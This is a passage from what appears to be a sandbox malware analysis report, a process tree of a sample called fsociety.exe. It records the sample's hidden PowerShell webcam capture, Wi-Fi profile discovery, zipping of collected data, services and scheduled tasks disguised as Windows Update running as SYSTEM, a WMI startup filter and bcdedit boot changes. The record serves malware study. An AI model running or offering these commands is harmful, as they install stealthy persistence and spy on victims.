      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240752000.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240752000.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7208
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:8176
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:6988
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240751781\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:1028
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240751781\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7416

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
PID:1392
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:3944
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1080
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      Launches sc.exe
      PID:984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:3316
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      Launches sc.exe
      PID:1516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:4064
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:2536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2380
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3364
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      Launches sc.exe
      PID:3544
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:2176
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:4936
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:3928
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:2540
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:5084
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:1236
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      Launches sc.exe
      PID:3516
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5288
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5640
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:6052
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:5536
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5576
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:3476
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6096
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:5520
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:5816
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:6080
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5208
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      Launches sc.exe
      PID:2396
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6048
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:2980
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:5600
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:5512
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5212
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:5144
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5620
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:5428
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:4204
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:5440
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:2212
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:5900
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:6312
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      Launches sc.exe
      PID:6732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6916
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6216
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5372
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6864
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6220
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:5284
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6500
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:5404
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:6372
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:6420
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:6004
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5456
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:6232
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:1032
    - - C:\Windows\system32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        Launches sc.exe
        
        PID:6624
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:4212
    - - C:\Windows\system32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:3936
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:7536
    - - C:\Windows\system32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:660
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:6932
    - - C:\Windows\system32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        Launches sc.exe
        
        PID:6408
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:4768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240755703.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240755703.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:8092
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240755703.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240755703.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7308
  - - C:\Windows\system32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:5680
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240755531\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:8180
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240755531\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:6420

C:\Windows\system32\fsociety.exe
C:\Windows\system32\fsociety.exe
1⤵
PID:4156
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  PID:4164
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:3504
  - - C:\Windows\system32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:1972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:2344
  - - C:\Windows\system32\sc.exe
      sc delete WindowsUpdate
      4⤵
      Launches sc.exe
      PID:2836
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3436
  - - C:\Windows\system32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:1972
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:4224
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:4420
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2112
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2916
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2804
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:4668
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:3520
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:2020
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      Launches sc.exe
      PID:5344
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:5712
  - - C:\Windows\system32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:3200
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:5808
  - - C:\Windows\system32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:880
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5736
  - - C:\Windows\system32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:5192
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5912
  - - C:\Windows\system32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:5896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:4912
  - - C:\Windows\system32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5804
  - - C:\Windows\system32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:1800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3800
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:816
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5520
  - - C:\Windows\system32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:5920
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5316
  - - C:\Windows\system32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:6056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:5696
  - - C:\Windows\system32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:4592
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6124
  - - C:\Windows\system32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6776
  - - C:\Windows\system32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:6196
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:2804
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6840
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:7084
  - - C:\Windows\system32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3908
  - - C:\Windows\system32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6748
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:880
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6892
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6100
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6792
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6032
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5768
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:5692
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:7752
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:860
  - - C:\Windows\system32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:180
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:8020
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:7264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:1624
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7704

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
1⤵
PID:996
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  PID:4456
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    - Launches sc.exe
    PID:2540
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:4208
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:4792
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3236
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:3300
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  PID:1872
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:3532
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:4200
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    - Launches sc.exe
    PID:2760
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:5272
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5648
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:6060
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:116
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  PID:5552
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:4332
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:3300
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    - Launches sc.exe
    PID:5616
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:3932
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:2804
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:5752
- - C:\Windows\system32\sc.exe
    sc stop SystemUpdate
    3⤵
    - Launches sc.exe
    PID:880
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete SystemUpdate >nul 2>&1
  2⤵
  PID:4316
- - C:\Windows\system32\sc.exe
    sc delete SystemUpdate
    3⤵
    PID:5856
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:5908
- - C:\Windows\system32\sc.exe
    sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
    3⤵
    PID:6072
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
  2⤵
  PID:5412
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate start= system
    3⤵
    PID:4424
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:5408
- - C:\Windows\system32\sc.exe
    sc config SystemUpdate obj= LocalSystem
    3⤵
    PID:5492
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc start SystemUpdate >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2324
- - C:\Windows\system32\sc.exe
    sc start SystemUpdate
    3⤵
    - Launches sc.exe
    PID:5536
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
  2⤵
  PID:3276
- - C:\Windows\system32\sc.exe
    sc stop WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
  2⤵
  PID:6288
- - C:\Windows\system32\sc.exe
    sc delete WinUpdateSvc
    3⤵
    - Launches sc.exe
    PID:6788
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
  2⤵
  PID:7152
- - C:\Windows\system32\sc.exe
    sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
    3⤵
    PID:2820
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
  2⤵
  PID:5152
- - C:\Windows\system32\sc.exe
    sc config WinUpdateSvc start= auto
    3⤵
    PID:6440
- C:\Windows\system32\cmd.exe
  cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
  2⤵
  PID:6596
- - C:\Windows\system32\sc.exe
